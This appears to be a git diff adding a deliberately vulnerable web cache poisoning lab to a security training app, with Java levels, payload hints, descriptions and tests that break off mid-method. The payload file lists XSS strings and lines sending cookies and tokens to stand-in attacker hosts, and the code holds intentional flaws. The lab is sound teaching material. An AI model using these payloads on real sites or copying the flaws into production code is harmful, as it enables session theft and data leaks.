diff --git a/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachePoisoningVulnerability.java b/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachePoisoningVulnerability.java new file mode 100644 index 000000000..fb49614c0 --- /dev/null +++ b/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachePoisoningVulnerability.java @@ -0,0 +1,412 @@ +package org.sasanlabs.service.vulnerability.cachePoisoning; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.time.Duration; +import java.time.Instant; +import java.util.Locale; +import java.util.concurrent.ConcurrentHashMap; +import java.util.regex.Pattern; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.text.StringEscapeUtils; +import org.sasanlabs.internal.utility.LevelConstants; +import org.sasanlabs.internal.utility.Variant; +import org.sasanlabs.internal.utility.annotations.AttackVector; +import org.sasanlabs.internal.utility.annotations.VulnerableAppRequestMapping; +import org.sasanlabs.internal.utility.annotations.VulnerableAppRestController; +import org.sasanlabs.service.vulnerability.bean.GenericVulnerabilityResponseBean; +import org.sasanlabs.vulnerability.types.VulnerabilityType; +import org.springframework.http.HttpHeaders; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; + +@VulnerableAppRestController( + descriptionLabel = "CACHE_POISONING_VULNERABILITY", + value = "CachePoisoning") +public class CachePoisoningVulnerability { + + static final String BANNER_QUERY_PARAMETER = "banner"; + + static final String FORWARDED_HOST_HEADER = "X-Forwarded-Host"; + static final String CACHE_STATUS_HEADER = "X-Cache-Status"; + static final String CACHE_KEY_HEADER = "X-Cache-Key"; + + static final String EMPTY_CACHE_KEY = "-"; + static final String EMPTY_CACHE_STATUS = "-"; + static final String CACHE_STATUS_HIT = "HIT"; + static final String CACHE_STATUS_MISS = "MISS"; + static final String CACHE_CONTROL_PUBLIC = "public, max-age=60"; + static final String CACHE_CONTROL_PUBLIC_SHARED_ONLY = "public, s-maxage=60, max-age=0"; + static final String CACHE_CONTROL_PRIVATE_NO_STORE = "private, no-store"; + + static final String DEFAULT_BANNER = "Welcome to the shared cache demo"; + + static final String DEFAULT_UNTRUSTED_HOST = "cdn.vulnerableapp.local"; + static final String TRUSTED_ASSET_HOST = "static.vulnerableapp.local"; + + static final String DEMO_USER_COOKIE = "demo_user"; + static final String DEFAULT_DEMO_USER = "guest"; + static final String DEMO_USER_DOMAIN = "vulnerableapp.local"; + + static final Duration DEFAULT_TTL = Duration.ofSeconds(60); + private static final Pattern SCRIPT_BLOCK_PATTERN = + Pattern.compile("(?is)<\\s*script\\b[^>]*>.*?<\\s*/\\s*script\\s*>"); + private static final Pattern SCRIPT_TAG_PATTERN = + Pattern.compile("(?is)<\\s*/?\\s*script\\b[^>]*>"); + private static final Pattern JAVASCRIPT_SCHEME_PATTERN = Pattern.compile("(?i)javascript\\s*:"); + + private static final ConcurrentHashMap cache = + new ConcurrentHashMap<>(); + + @AttackVector( + vulnerabilityExposed = VulnerabilityType.WEB_CACHE_POISONING, + description = "CACHE_POISONING_LEVEL_1_ROUTE_ONLY_CACHE_KEY", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_1") + @AttackVector( + vulnerabilityExposed = VulnerabilityType.REFLECTED_XSS, + description = "CACHE_POISONING_LEVEL_1_XSS", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_1_XSS") + @VulnerableAppRequestMapping( + value = LevelConstants.LEVEL_1, + htmlTemplate = "LEVEL_1/CachePoisoning") + public ResponseEntity> getVulnerablePayloadLevel1( + @RequestParam(value = BANNER_QUERY_PARAMETER, required = false) String banner, + @RequestParam(value = "browserCache", required = false, defaultValue = "true") + boolean browserCache, + HttpServletRequest request) { + String responseContent = buildLevel1Response(banner); + return buildCachedResponse( + buildRouteOnlyCacheKey(request), + responseContent, + resolvePublicCacheControl(browserCache), + true); + } + + @AttackVector( + vulnerabilityExposed = VulnerabilityType.WEB_CACHE_POISONING, + description = "CACHE_POISONING_LEVEL_2_NAIVE_FILTER", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_2") + @AttackVector( + vulnerabilityExposed = VulnerabilityType.REFLECTED_XSS, + description = "CACHE_POISONING_LEVEL_2_XSS", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_2_XSS") + @VulnerableAppRequestMapping( + value = LevelConstants.LEVEL_2, + htmlTemplate = "LEVEL_2/CachePoisoning") + public ResponseEntity> getVulnerablePayloadLevel2( + @RequestParam(value = BANNER_QUERY_PARAMETER, required = false) String banner, + @RequestParam(value = "browserCache", required = false, defaultValue = "true") + boolean browserCache, + HttpServletRequest request) { + String responseContent = buildLevel2Response(banner); + return buildCachedResponse( + buildRouteOnlyCacheKey(request), + responseContent, + resolvePublicCacheControl(browserCache), + true); + } + + @AttackVector( + vulnerabilityExposed = VulnerabilityType.WEB_CACHE_POISONING, + description = "CACHE_POISONING_LEVEL_3_UNKEYED_FORWARDED_HOST", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_3") + @AttackVector( + vulnerabilityExposed = VulnerabilityType.REFLECTED_XSS, + description = "CACHE_POISONING_LEVEL_3_JS_INJECTION", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_3_JS_INJECTION") + @VulnerableAppRequestMapping( + value = LevelConstants.LEVEL_3, + htmlTemplate = "LEVEL_3/CachePoisoning") + public ResponseEntity> getVulnerablePayloadLevel3( + @RequestParam(value = BANNER_QUERY_PARAMETER, required = false) String banner, + @RequestParam(value = "browserCache", required = false, defaultValue = "true") + boolean browserCache, + HttpServletRequest request) { + String responseContent = buildLevel3Response(banner, request); + return buildCachedResponse( + buildRouteAndBannerCacheKey(request, banner), + responseContent, + resolvePublicCacheControl(browserCache), + true); + } + + @AttackVector( + vulnerabilityExposed = VulnerabilityType.WEB_CACHE_POISONING, + description = "CACHE_POISONING_LEVEL_4_PUBLIC_CACHE_PERSONALIZED_CONTENT", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_4") + @VulnerableAppRequestMapping( + value = LevelConstants.LEVEL_4, + htmlTemplate = "LEVEL_4/CachePoisoning") + public ResponseEntity> getVulnerablePayloadLevel4( + @RequestParam(value = "browserCache", required = false, defaultValue = "true") + boolean browserCache, + HttpServletRequest request) { + String responseContent = buildLevel4Response(request); + return buildCachedResponse( + buildRouteOnlyCacheKey(request), + responseContent, + resolvePublicCacheControl(browserCache), + true); + } + + @AttackVector( + vulnerabilityExposed = VulnerabilityType.WEB_CACHE_POISONING, + description = "CACHE_POISONING_LEVEL_5_SECURE_CACHE_POLICY", + payload = "CACHE_POISONING_PAYLOAD_LEVEL_5") + @VulnerableAppRequestMapping( + value = LevelConstants.LEVEL_5, + htmlTemplate = "LEVEL_5/CachePoisoning", + variant = Variant.SECURE) + public ResponseEntity> getSecurePayloadLevel5( + @RequestParam(value = BANNER_QUERY_PARAMETER, required = false) String banner, + HttpServletRequest request) { + String responseContent = buildLevel5Response(banner, request); + return buildCachedResponse( + buildPrivateResponseKey(request), + responseContent, + CACHE_CONTROL_PRIVATE_NO_STORE, + false); + } + + private String buildLevel1Response(String banner) { + String unsafeBanner = StringUtils.defaultIfBlank(banner, DEFAULT_BANNER); + return "
" + + "

Shared Cache Response

" + + "

Current Banner: " + + unsafeBanner + + "

" + + "

The application reflects the banner parameter, but the cache only uses the route as the key.

" + + "

Try poisoning the banner and see if it persists for other requests.

" + + "
"; + } + + private String buildLevel2Response(String banner) { + String filteredBanner = applyNaiveBannerFilter(banner); + return "
" + + "

Filtered Cache Response

" + + "

Current Banner: " + + filteredBanner + + "

" + + "

Obvious <script> tags are stripped, but the cache key remains route-only.

" + + "

Can you still poison the cache with other HTML or misleading information?

" + + "
"; + } + + private String buildLevel3Response(String banner, HttpServletRequest request) { + String safeBanner = StringEscapeUtils.escapeHtml4(normalizeBanner(banner)); + String assetUrl = buildAssetUrl(resolveUntrustedForwardedHost(request)); + return "
" + + "

Dynamic Asset Loading

" + + "

Banner Key: " + + safeBanner + + "

" + + "

Active Asset URL: " + + assetUrl + + "

" + + "
" + + "
Security Monitor: Context Loading
" + + " " + + "

The browser is attempting to load the resource from the host above. Use the Network Tab to verify the origin.

" + + "
" + + "

The banner is now part of the cache key, but the application trusts the X-Forwarded-Host header for asset URLs.

" + + "

If the cache ignores this header, the asset location can be poisoned.

" + + "
"; + } + + private String buildLevel4Response(HttpServletRequest request) { + return buildLevel4ResponseForUser(resolveDemoUser(request)); + } + + private String buildLevel4ResponseForUser(String user) { + String rawUser = StringUtils.defaultIfBlank(user, DEFAULT_DEMO_USER); + String safeUser = StringEscapeUtils.escapeHtml4(rawUser); + String safeEmail = StringEscapeUtils.escapeHtml4(deriveEmail(rawUser)); + String safeIp = StringEscapeUtils.escapeHtml4(deriveLastLoginIp(rawUser)); + return "
" + + "

Personalized Dashboard

" + + "

Logged in as: " + + safeUser + + "

" + + "

Email: " + + safeEmail + + "

" + + "

Last login IP: " + + safeIp + + "

" + + "

This response is personalized based on your session cookie but is marked as public.

" + + "

Check if your personalized dashboard appears for other users due to shared cache reuse.

" + + "
"; + } + + private String deriveEmail(String user) { + return user.toLowerCase(Locale.ROOT) + "@" + DEMO_USER_DOMAIN; + } + + private String deriveLastLoginIp(String user) { + try { + byte[] digest = + MessageDigest.getInstance("SHA-256") + .digest(user.getBytes(StandardCharsets.UTF_8)); + int a = Byte.toUnsignedInt(digest[0]) % 254 + 1; + int b = Byte.toUnsignedInt(digest[1]) % 254 + 1; + return "10." + a + "." + b + ".42"; + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("SHA-256 unavailable", e); + } + } + + private String buildLevel5Response(String banner, HttpServletRequest request) { + return buildLevel5ResponseForUser(banner, resolveDemoUser(request)); + } + + private String buildLevel5ResponseForUser(String banner, String user) { + String safeBanner = StringEscapeUtils.escapeHtml4(normalizeBanner(banner)); + String safeUser = + StringEscapeUtils.escapeHtml4(StringUtils.defaultIfBlank(user, DEFAULT_DEMO_USER)); + String trustedAssetUrl = buildAssetUrl(TRUSTED_ASSET_HOST); + return "
" + + "

Secure Implementation

" + + "

User: " + + safeUser + + "

" + + "

Trusted Asset: " + + trustedAssetUrl + + "

" + + "

Banner: " + + safeBanner + + "

" + + "

This level uses private cache policies and ignores untrusted headers.

" + + "
"; + } + + private String applyNaiveBannerFilter(String banner) { + String candidate = StringUtils.defaultIfBlank(banner, DEFAULT_BANNER).trim(); + candidate = SCRIPT_BLOCK_PATTERN.matcher(candidate).replaceAll(""); + candidate = SCRIPT_TAG_PATTERN.matcher(candidate).replaceAll(""); + candidate = JAVASCRIPT_SCHEME_PATTERN.matcher(candidate).replaceAll(""); + return StringUtils.defaultIfBlank(candidate, DEFAULT_BANNER); + } + + private ResponseEntity> buildCachedResponse( + String cacheKey, + String responseContent, + String cacheControl, + boolean storeInSharedCache) { + Instant now = Instant.now(); + CachedResponse cachedResponse = null; + boolean cacheHit = false; + if (storeInSharedCache) { + cachedResponse = cache.get(cacheKey); + cacheHit = cachedResponse != null && !cachedResponse.isExpired(now); + if (!cacheHit) { + cachedResponse = new CachedResponse(cacheKey, responseContent, now, DEFAULT_TTL); + cache.put(cacheKey, cachedResponse); + } + } + + HttpHeaders responseHeaders = new HttpHeaders(); + responseHeaders.setCacheControl(cacheControl); + responseHeaders.add(CACHE_STATUS_HEADER, cacheHit ? CACHE_STATUS_HIT : CACHE_STATUS_MISS); + responseHeaders.add(CACHE_KEY_HEADER, cacheKey); + + return ResponseEntity.ok() + .headers(responseHeaders) + .body( + new GenericVulnerabilityResponseBean<>( + cacheHit ? cachedResponse.getContent() : responseContent, true)); + } + + private ResponseEntity> buildClearCacheResponse( + String responseContent, String cacheControl) { + HttpHeaders responseHeaders = new HttpHeaders(); + responseHeaders.setCacheControl(cacheControl); + responseHeaders.add(CACHE_STATUS_HEADER, CachePoisoningVulnerability.EMPTY_CACHE_STATUS); + responseHeaders.add(CACHE_KEY_HEADER, CachePoisoningVulnerability.EMPTY_CACHE_KEY); + + return ResponseEntity.ok() + .headers(responseHeaders) + .body(new GenericVulnerabilityResponseBean<>(responseContent, true)); + } + + private String buildRouteOnlyCacheKey(HttpServletRequest request) { + return request.getRequestURI(); + } + + private String buildRouteAndBannerCacheKey(HttpServletRequest request, String banner) { + return request.getRequestURI() + "|banner=" + normalizeBanner(banner); + } + + private String buildPrivateResponseKey(HttpServletRequest request) { + return request.getRequestURI() + "|private-response"; + } + + private void clearCacheForLevel(String level, HttpServletRequest request) { + String requestUri = request.getRequestURI(); + String vulnerabilityPath = + requestUri.substring(0, requestUri.length() - "/clearCache".length()); + String levelCacheKeyPrefix = vulnerabilityPath + "/" + level; + cache.keySet().removeIf(cacheKey -> cacheKey.startsWith(levelCacheKeyPrefix)); + } + + private String normalizeBanner(String banner) { + return StringUtils.defaultIfBlank(banner, DEFAULT_BANNER).trim(); + } + + private String resolveUntrustedForwardedHost(HttpServletRequest request) { + return StringUtils.defaultIfBlank( + request.getHeader(FORWARDED_HOST_HEADER), DEFAULT_UNTRUSTED_HOST) + .trim(); + } + + private String resolveDemoUser(HttpServletRequest request) { + Cookie[] cookies = request.getCookies(); + if (cookies == null) { + return null; + } + + for (Cookie cookie : cookies) { + if (DEMO_USER_COOKIE.equals(cookie.getName())) { + return cookie.getValue(); + } + } + return null; + } + + private String resolvePublicCacheControl(boolean browserCache) { + return browserCache ? CACHE_CONTROL_PUBLIC : CACHE_CONTROL_PUBLIC_SHARED_ONLY; + } + + private String buildAssetUrl(String host) { + return "https://" + StringEscapeUtils.escapeHtml4(host) + "/assets/cache-poisoning-demo.js"; + } + + @PostMapping("/clearCache") + public ResponseEntity> clearCache( + @RequestParam("level") String level, HttpServletRequest request) { + clearCacheForLevel(level, request); + + return switch (level) { + case LevelConstants.LEVEL_1 -> buildClearCacheResponse( + buildLevel1Response(null), CACHE_CONTROL_PUBLIC); + case LevelConstants.LEVEL_2 -> buildClearCacheResponse( + buildLevel2Response(null), CACHE_CONTROL_PUBLIC); + case LevelConstants.LEVEL_3 -> buildClearCacheResponse( + buildLevel3Response(null, request), CACHE_CONTROL_PUBLIC); + case LevelConstants.LEVEL_4 -> buildClearCacheResponse( + buildLevel4ResponseForUser(DEFAULT_DEMO_USER), CACHE_CONTROL_PUBLIC); + case LevelConstants.LEVEL_5 -> buildClearCacheResponse( + buildLevel5ResponseForUser(null, DEFAULT_DEMO_USER), + CACHE_CONTROL_PRIVATE_NO_STORE); + default -> ResponseEntity.badRequest() + .body(new GenericVulnerabilityResponseBean<>("Unsupported level", false)); + }; + } +} diff --git a/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachedResponse.java b/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachedResponse.java new file mode 100644 index 000000000..2340adbeb --- /dev/null +++ b/src/main/java/org/sasanlabs/service/vulnerability/cachePoisoning/CachedResponse.java @@ -0,0 +1,39 @@ +package org.sasanlabs.service.vulnerability.cachePoisoning; + +import java.time.Duration; +import java.time.Instant; + +public class CachedResponse { + + private final String cacheKey; + private final String content; + private final Instant createdAt; + private final Duration ttl; + + public CachedResponse(String cacheKey, String content, Instant createdAt, Duration ttl) { + this.cacheKey = cacheKey; + this.content = content; + this.createdAt = createdAt; + this.ttl = ttl; + } + + public boolean isExpired(Instant now) { + return !createdAt.plus(ttl).isAfter(now); + } + + public String getCacheKey() { + return cacheKey; + } + + public String getContent() { + return content; + } + + public Instant getCreatedAt() { + return createdAt; + } + + public Duration getTtl() { + return ttl; + } +} diff --git a/src/main/java/org/sasanlabs/vulnerability/types/VulnerabilityType.java b/src/main/java/org/sasanlabs/vulnerability/types/VulnerabilityType.java index d365f465d..c20523385 100644 --- a/src/main/java/org/sasanlabs/vulnerability/types/VulnerabilityType.java +++ b/src/main/java/org/sasanlabs/vulnerability/types/VulnerabilityType.java @@ -58,7 +58,9 @@ public enum VulnerabilityType { USERNAME_ENUMERATION(204, null), // LDAP Injection Vulnerability - LDAP_INJECTION(90, 29); + LDAP_INJECTION(90, 29), + + WEB_CACHE_POISONING(null, null); private Integer cweID; private Integer wascID; diff --git a/src/main/resources/attackvectors/CachePoisoningPayload.properties b/src/main/resources/attackvectors/CachePoisoningPayload.properties new file mode 100644 index 000000000..61b383bad --- /dev/null +++ b/src/main/resources/attackvectors/CachePoisoningPayload.properties @@ -0,0 +1,55 @@ +CACHE_POISONING_PAYLOAD_LEVEL_1=This level simulates a shared cache that stores the response only by route.
\ +How to exploit this level?
\ +1. Call /VulnerableApp/CachePoisoning/LEVEL_1?banner=FAKE%20URGENT%20UPDATE to poison the cache.
\ +2. Call /VulnerableApp/CachePoisoning/LEVEL_1 without the query parameter.
\ +3. The second response is served from cache and still contains the poisoned banner. +CACHE_POISONING_PAYLOAD_LEVEL_1_XSS=Since the banner is reflected without escaping, we can inject a script.
\ +How to exploit?
\ +1. Call /VulnerableApp/CachePoisoning/LEVEL_1?banner=%3Cscript%3Ealert(document.cookie)%3C/script%3E.
\ +2. All users accessing /VulnerableApp/CachePoisoning/LEVEL_1 will now execute the script due to the poisoned cache.
\ +Alternative payloads: <img src=x onerror=alert(document.cookie)>, <svg onload=alert(document.cookie)>, <iframe src="javascript:alert(document.cookie)">. +CACHE_POISONING_PAYLOAD_LEVEL_2=This level adds a naive filter that removes only obvious script payloads, but the cache key is still based on the route alone.
\ +How to exploit this level?
\ +1. Call /VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cb%3EURGENT%20STATUS%20UPDATE%3C/b%3E to poison the cache with harmless-looking HTML.
\ +2. Call /VulnerableApp/CachePoisoning/LEVEL_2 without the query parameter.
\ +3. The victim still receives the cached attacker-controlled response even though the app tried to filter the input.
\ +Alternative payloads: <a href="https://phishing.example">Reauthenticate here</a> (phishing link), <h1 style="color:red">SYSTEM BREACH - CALL SUPPORT 1-800-SCAM</h1> (social engineering), <marquee>Service outage: please resend payment</marquee> (misleading notice). +CACHE_POISONING_PAYLOAD_LEVEL_2_XSS=Obvious script tags are filtered, but we can use HTML event handlers.
\ +How to exploit?
\ +1. Call /VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cimg%20src=%22x%22%20onerror=%22alert(document.cookie)%22%3E.
\ +2. The server-side filter misses this, and the cache stores the malicious image tag, causing XSS for everyone.
\ +Alternative bypasses: <svg onload=alert(document.cookie)>, <input autofocus onfocus=alert(document.cookie)>, <body onload=alert(document.cookie)>. The naive filter only strips <script> tags and the javascript: scheme, so any other event handler bypasses it. +CACHE_POISONING_PAYLOAD_LEVEL_3=The cache key is URI + banner. The trap is X-Forwarded-Host: it is reflected into the response's asset URL but is not part of the key (it is an unkeyed header). Poison the host once and every victim requesting the same banner gets it from cache.
\ +How to exploit (in the lab):
\ +1. Type shared-status in Shared banner key, attacker.example in Attacker forwarded host, click Poison cache. Check X-Cache-Key: only the banner is in it.
\ +2. Click Send victim request using only the same banner.
\ +3. Asset URL still points to attacker.example; X-Cache-Status: HIT confirms the poison.
\ +Alternative payloads (Reset cache → same banner, new value in Attacker forwarded hostPoison cacheSend victim request):
\ +  • login-cdn.test — CDN typosquat for phishing
\ +  • 192.168.1.1 — force request to an internal IP (SSRF-adjacent)
\ +  • cdn-backup.test — impersonate a legitimate backup CDN +CACHE_POISONING_PAYLOAD_LEVEL_3_JS_INJECTION=The asset host is attacker-controlled (see base payload), so every victim on the same banner key loads the attacker's JS - stored XSS scoped to that cached route.
\ +How to exploit (in the lab):
\ +1. Same flow as the base payload, but use evil-script-server.test as the host.
\ +2. Open DevTools → Network tab and observe the failed request to evil-script-server.test. The failure is expected (placeholder domain). In a real attack the adversary owns the host and the JS runs in the victim's origin.
\ +Impact: Origin takeover - JS has access to the victim's DOM, cookies, and storage.
\ +Alternative payloads (JS the attacker would serve at /assets/cache-poisoning-demo.js; cannot run in the lab, but illustrate real-world impact):
\ +  • fetch("https://evil-script-server.test/?c="+document.cookie) — cookie exfil
\ +  • document.body.innerHTML="<h1>Defaced</h1>" — defacement
\ +  • new Image().src="https://evil-script-server.test/?k="+localStorage.getItem("token") — token exfil via image beacon (bypasses fetch-only CSP) +CACHE_POISONING_PAYLOAD_LEVEL_4=This level no longer trusts forwarding headers (the LEVEL_3 lesson is fixed), but it introduces a different unkeyed input: the demo_user cookie. The server reads the cookie to render personalized PII (username, email and last login IP) into the response body, then sends Cache-Control: public, max-age=60 while the cache key stays route-only. Because the cookie never participates in the cache key, the first requester's personalized response is stored once and replayed to everyone else for the next 60 seconds. The poisoning primitive here is not injection - it is the mismatch between "this body depends on the cookie" and "this body is safe to share with strangers".
\ +How to exploit this level?
\ +1. As the first requester (the "victim" whose data will leak), call /VulnerableApp/CachePoisoning/LEVEL_4 with cookie demo_user=alice. The response body now contains Logged in as: alice, alice@vulnerableapp.local and her deterministic last login IP. Inspect X-Cache-Status: MISS and X-Cache-Key - the key is just the route, the cookie is nowhere in it.
\ +2. From a clean browser (or a different machine, or curl with no cookies), call /VulnerableApp/CachePoisoning/LEVEL_4 without sending any cookie.
\ +3. The shared cache matches the same route-only key and replays Alice's personalized body to you. X-Cache-Status: HIT confirms it. You are not Alice and you sent no cookie, but you just received her username, email and last login IP.
\ +Impact: PII disclosure across user boundaries with zero authentication required from the attacker. The attacker only needs to time their request inside the cache TTL after a real user populates the entry. This is the same class of bug behind real-world incidents where shared CDNs returned one user's account page to anonymous visitors (Stack Overflow 2016, Steam 2015) - the application "works correctly" per request, but the cache layer turns a private response into a public one.
\ +Alternative payloads: demo_user=ceo (leak the C-suite account's email and login IP), demo_user=billing (leak the billing role's PII), demo_user=support (leak the support team's identity for targeted phishing). Any cookie value that produces "interesting" personalization can be poisoned the same way - the vulnerability is the cache policy, not the value. +CACHE_POISONING_PAYLOAD_LEVEL_5=The previous levels' primitives are all defused. Untrusted forwarding headers are ignored when building asset URLs, the banner is HTML-escaped, and personalized responses are marked Cache-Control: private, no-store so the shared cache cannot store or reuse them across users.
\ +What to verify (in the lab):
\ +1. Replay the L3 attack: type any value in Optional banner preview and attacker.example in Optional forwarded host, click Poison cache. The asset URL stays on the trusted host, not attacker.example.
\ +2. Replay the L4 attack: set Personalized demo_user to admin, click Poison cache. Click Send guest request without the cookie - the response is fresh, no admin PII leaks.
\ +3. On every request, diagnostics show Cache-Control: private, no-store and X-Cache-Status: MISS. The shared cache never stores the response.
\ +Why is this safe?
\ +  • Trusted asset host — the server hardcodes static.vulnerableapp.local instead of reading X-Forwarded-Host, so the L3 unkeyed-header trick has nothing to inject.
\ +  • Private cache policyprivate, no-store tells shared caches "do not store this response", so the L4 PII leak cannot happen.
\ +  • Banner is escaped — HTML special characters are encoded, neutralizing the L1/L2 XSS primitives even if a stale entry were ever served. diff --git a/src/main/resources/i18n/messages.properties b/src/main/resources/i18n/messages.properties index ef7715ca4..53453efa6 100755 --- a/src/main/resources/i18n/messages.properties +++ b/src/main/resources/i18n/messages.properties @@ -226,6 +226,7 @@ of the application and result in complete compromise of the system.

I #### AttackVector description JWT_URL_EXPOSING_SECURE_INFORMATION=The request contains JWT token which is leaked in the URL. This can violate PCI and most organizational compliance policies. +HEADER_INJECTION_VULNERABILITY=It tests how a JWT header can be manipulated to alter the signature verification. COOKIE_CONTAINING_JWT_TOKEN_SECURITY_ATTRIBUTES_MISSING=Cookie based JWT token but without Secure/HttpOnly flags and also without cookie prefixes. COOKIE_WITH_HTTPONLY_WITHOUT_SECURE_FLAG_BASED_JWT_VULNERABILITY=Cookie based JWT token but with HttpOnly flag but without Secure flag and also without cookie prefixes. COOKIE_BASED_LOW_KEY_STRENGTH_JWT_VULNERABILITY=Cookie based JWT token signed using Weak key vulnerability. @@ -398,3 +399,23 @@ AUTH_LEVEL_8_WEAK_PASSWORD=Credentials are passed in the POST body to avoid URI AUTH_LEVEL_9_SECURE=Secure baseline: Credentials passed in the POST body, BCrypt hashing with unique salts, and a generic \"Invalid credentials\" error message regardless of the failure cause, preventing cracking and enumeration. AUTH_PAYLOAD_LEVEL_8=Try logging in with 'admin_weak' and a common weak password (hint: it starts with 'password'). Even with strong BCrypt hashing, a weak password can be easily guessed. AUTH_PAYLOAD_LEVEL_9=This is the secure implementation. Try to enumerate usernames or crack the hash \u2014 you will find it significantly more difficult! + + +# Cache Poisoning Vulnerability +CACHE_POISONING_VULNERABILITY=Web Cache Poisoning occurs when an attacker manipulates a shared web cache\u2014such as a CDN, Reverse Proxy, or Load Balancer\u2014to store a malicious or unintended response. These systems are designed to optimize performance by serving cached versions of frequently requested resources to reduce latency and backend load. The attack succeeds when there is a discrepancy between the Cache Key (the set of request attributes the cache uses to identify a resource) and the application's processing logic. By manipulating unkeyed inputs (headers, cookies, or parameters that are reflected in the response but not included in the cache key), an attacker can "poison" the cache for a specific resource. Once stored, this poisoned response is served to all subsequent users requesting that resource until the cache entry expires or is cleared.

\ +Important Links:
\ +
  1. OWASP Cache Poisoning \ +
  2. PortSwigger Web Cache Poisoning \ +
  3. RFC 9111 - HTTP Caching \ +
  4. Youtube Lab: Web cache poisoning \ +
  5. Youtube: Novel Web Cache Poisoning Techniques \ +
+CACHE_POISONING_LEVEL_1_ROUTE_ONLY_CACHE_KEY=This level demonstrates a cache key that only includes the request path (route). The application reflects a query parameter in the response but does not include it in the cache key. An attacker can poison the resource for all users by providing a malicious parameter in the first request. +CACHE_POISONING_LEVEL_1_XSS=Cross-Site Scripting (XSS) via Cache Poisoning. Since the banner parameter is reflected without sanitization and the cache only keys on the route, an attacker can store a malicious script in the cache that will execute for all subsequent users. +CACHE_POISONING_LEVEL_2_NAIVE_FILTER=This level attempts to fix the issue by stripping script tags from the input, but the cache key still only uses the route. Attackers can still poison the cache with misleading content or other HTML payloads that bypass the naive filter. +CACHE_POISONING_LEVEL_2_XSS=XSS via Cache Poisoning with Filter Bypass. The application strips obvious ATUALIZACAO URGENTE FAKE"; + private static final String LEVEL_2_SAFE_HTML_BANNER = "SERVICE STATUS COMPROMISED"; + private static final String LEVEL_3_SHARED_BANNER = "shared-status-page"; + private static final String ATTACKER_HOST = "attacker.example"; + private static final String SAFE_HOST = "cdn.safe.example"; + private static final String ATTACKER_USER = "admin"; + private static final String ESCAPED_SECURE_BANNER = "<b>OWNED</b>"; + private static final String SAFE_BANNER = "Welcome to the shared cache demo"; + private static final String XSS_SCRIPT_BANNER = ""; + private static final String EVENT_HANDLER_BYPASS_BANNER = ""; + private static final String JAVASCRIPT_SCHEME_BANNER = + "click"; + private static final Pattern LAST_LOGIN_IP_PATTERN = + Pattern.compile("Last login IP:\\s*(10\\.\\d+\\.\\d+\\.42)"); + + private CachePoisoningVulnerability cachePoisoningVulnerability; + + @BeforeEach + void setUp() { + cachePoisoningVulnerability = new CachePoisoningVulnerability(); + MockHttpServletRequest clearReq = createClearCacheRequest(); + cachePoisoningVulnerability.clearCache(LevelConstants.LEVEL_1, clearReq); + cachePoisoningVulnerability.clearCache(LevelConstants.LEVEL_2, clearReq); + cachePoisoningVulnerability.clearCache(LevelConstants.LEVEL_3, clearReq); + cachePoisoningVulnerability.clearCache(LevelConstants.LEVEL_4, clearReq); + } + + @Test + @DisplayName("Level 1 - Attacker poisons the route cache and victim gets a cached hit") + void level1ShouldPoisonSharedCacheAcrossRequests() { + ResponseEntity> attackerResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + ATTACKER_BANNER, true, createLevel1Request("poison")); + ResponseEntity> victimResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + null, true, createLevel1Request(null)); + + assertValidResponse(attackerResponse); + assertThat( + attackerResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_MISS); + assertThat(attackerResponse.getBody().getContent()).contains(ATTACKER_BANNER); + + assertValidResponse(victimResponse); + assertThat( + victimResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_HIT); + assertThat(victimResponse.getBody().getContent()).contains(ATTACKER_BANNER); + } + + @Test + @DisplayName("Level 1 - Cache key ignores the banner query parameter") + void level1ShouldUseOnlyRouteAsCacheKey() { + ResponseEntity> firstResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + "FIRST BANNER", true, createLevel1Request("FIRST")); + ResponseEntity> secondResponse = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + "SECOND BANNER", true, createLevel1Request("SECOND")); + + assertThat( + firstResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_KEY_HEADER)) + .isEqualTo(LEVEL_1_PATH); + assertThat( + secondResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_KEY_HEADER)) + .isEqualTo(LEVEL_1_PATH); + assertThat( + secondResponse + .getHeaders() + .getFirst(CachePoisoningVulnerability.CACHE_STATUS_HEADER)) + .isEqualTo(CachePoisoningVulnerability.CACHE_STATUS_HIT); + assertThat(secondResponse.getBody().getContent()).contains("FIRST BANNER"); + assertThat(secondResponse.getBody().getContent()).doesNotContain("SECOND BANNER"); + } + + @Test + @DisplayName("Level 1 - Cache-Control is public with max-age 60 seconds") + void level1ShouldExposePublicCacheHeaders() { + ResponseEntity> response = + cachePoisoningVulnerability.getVulnerablePayloadLevel1( + null, true, createLevel1Request(null)); + + assertValidResponse(response); + assertThat(response.getHeaders().getCacheControl()) + .isEqualTo(CachePoisoningVulnerability.CACHE_CONTROL_PUBLIC); + assertThat(response.getBody().getContent()).contains(SAFE_BANNER); + } + + @Test + @DisplayName("Level 1 - browserCache=false emits shared-only Cache-Control with s-maxage") + void 